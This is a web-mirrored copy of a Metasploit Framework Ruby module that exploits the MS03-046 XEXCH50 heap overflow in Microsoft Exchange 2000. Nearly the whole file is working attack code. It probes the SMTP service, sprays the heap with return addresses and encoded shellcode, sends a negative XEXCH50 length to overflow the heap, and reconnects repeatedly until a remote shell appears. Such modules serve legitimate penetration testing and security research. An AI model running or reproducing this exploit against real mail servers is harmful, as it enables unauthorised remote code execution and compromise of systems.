CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'MS03-046 Exchange 2000 XEXCH50 Heap Overflow',
14
'Description' => %q{
15
This is an exploit for the Exchange 2000 heap overflow. Due
16
to the nature of the vulnerability, this exploit is not very
17
reliable. This module has been tested against Exchange 2000
18
SP0 and SP3 running a Windows 2000 system patched to SP4. It
19
normally takes between one and 100 connection attempts to
20
successfully obtain a shell. This exploit is *very* unreliable.
21
},
22
'Author' =>
23
[
24
'hdm', # original module
25
'aushack', # msf3 port :)
26
],
27
'References' =>
28
[
29
[ 'CVE', '2003-0714' ],
30
[ 'BID', '8838' ],
31
[ 'OSVDB', '2674' ],
32
[ 'MSB', 'MS03-046' ],
33
[ 'EDB', '113' ],
34
],
35
'DefaultOptions' =>
36
{
37
'EXITFUNC' => 'seh',
38
},
39
'Platform' => 'win',
40
'Privileged' => true,
41
'Payload' =>
42
{
43
'Space' => 1024,
44
'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
45
'StackAdjustment' => -3500,
46
},
47
'Targets' =>
48
[
49
[ 'Exchange 2000', { 'Ret' => 0x0c900c90, 'BuffLen' => 3000, 'Offset1' => 11000, 'Offset2' => 512 } ],
50
],
51
'DefaultTarget' => 0,
52
'DisclosureDate' => '2003-10-15'))
53
54
register_options(
55
[
56
Opt::RPORT(25),
57
OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', '[email protected]']),
58
OptString.new('MAILTO', [ true, 'The TO address of the e-mail', 'administrator']),
59
OptInt.new('ATTEMPTS', [ true, 'The number of exploit attempts before halting', 100]),
60
])
61
end
62
63
def check
64
connect
65
banner = sock.get_once || ''
66
67
if (banner !~ /Microsoft/)
68
print_status("Target does not appear to be an Exchange server.")
69
return Exploit::CheckCode::Safe
70
end
71
72
sock.put("EHLO #{Rex::Text.rand_text_alpha(1)}\r\n")
73
res = sock.get_once || ''
74
if (res !~ /XEXCH50/)
75
print_status("Target does not appear to be an Exchange server.")
76
return Exploit::CheckCode::Safe
77
end
78
sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
79
res = sock.get_once || ''
80
81
if (res =~ /Sender OK/)
82
sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
83
res = sock.get_once || ''
84
if (res =~ /250/)
85
sock.put("XEXCH50 2 2\r\n")
86
res = sock.get_once || ''
87
if (res !~ /Send binary data/)
88
print_error("Target has been patched!")
89
return Exploit::CheckCode::Detected
90
else
91
return Exploit::CheckCode::Appears
92
end
93
end
94
end
95
96
disconnect
97
end
98
99
def smtp_setup(count)
100
print_status("Exploit attempt ##{count}")
101
102
connect
103
select(nil,nil,nil,1)
104
banner = sock.get_once || ''
105
print_status("Connected to SMTP server: #{banner.to_s}")
106
107
if (banner !~ /Microsoft/)
108
print_status("Target does not appear to be running Exchange.")
109
return
110
end
111
112
select(nil,nil,nil,5)
113
sock.put("EHLO X\r\n")
114
select(nil,nil,nil,7)
115
res = sock.get_once || ''
116
117
if (res !~ /XEXCH50/)
118
print_status("Target is not running Exchange.")
119
return
120
end
121
122
sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
123
select(nil,nil,nil,3)
124
125
sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
126
select(nil,nil,nil,3)
127
128
end
129
130
def exploit
131
bufflen = target['BuffLen']
132
print_status("Trying to exploit #{target.name} with address 0x%.8x..." % target['Ret'])
133
count = 1 # broke
134
135
begin
136
if (count > datastore['ATTEMPTS'])
137
print_error("Exploit failed after #{datastore['ATTEMPTS']}. Set ATTEMPTS to a higher value if desired.")
138
return # Stop after a specified number of attempts.
139
end
140
141
if (session_created?)
142
return # Stop the attack. Non-session payloads will continue regardless up to ATTEMPTS.
143
end
144
145
while(true)
146
if (smtp_setup(count))
147
print_status("Connection 1: ")
148
end
149
150
sock.put("XEXCH50 2 2\r\n")
151
select(nil,nil,nil,3)
152
res = sock.get_once
153
print_status("#{res}")
154
if (res !~ /Send binary data/)
155
print_status("Target is not vulnerable.")
156
return # commented out for the moment
157
end
158
159
sock.put("XX")
160
161
print_status("ALLOC")
162
163
size = 1024 * 1024 * 32
164
165
sock.put("XEXCH50 #{size} 2\r\n")
166
select(nil,nil,nil,3)
167
168
sploit = (([target['Ret']].pack('V')) * 256 * 1024 + payload.encoded + ("X" * 1024)) * 4 + "BEEF"
169
170
print_status("Uploading shellcode to remote heap.")
171
172
if (sock.put(sploit))
173
print_status("\tOK.")
174
end
175
176
print_status("Connection 2: ")
177
smtp_setup(count) # Connection 2
178
179
sock.put("XEXCH50 -1 2\r\n") # Allocate negative value
180
select(nil,nil,nil,2)
181
res = sock.get_once || ''
182
183
if (!res)
184
print_error("Error - no response")
185
end
186
187
print_status("OK")
188
189
bufflen += target['Offset2']
190
191
if (bufflen > target['Offset1'])
192
bufflen = target['BuffLen']
193
end
194
195
heapover = [target['Ret']].pack('V') * bufflen
196
print_status("Overwriting heap with payload jump (#{bufflen})")
197
sock.put(heapover)
198
199
print_status("Starting reconnect sequences...")
200
201
10.times do |x|
202
print_status("Connect #{x}")
203
connect
204
sock.put("HELO X\r\n")
205
disconnect
206
end
207
end
208
209
rescue
210
print_status("Unable to connect or Exchange has crashed... Retrying.")
211
count += 1
212
retry
213
end
214
215
disconnect
216
end
217
end
218
219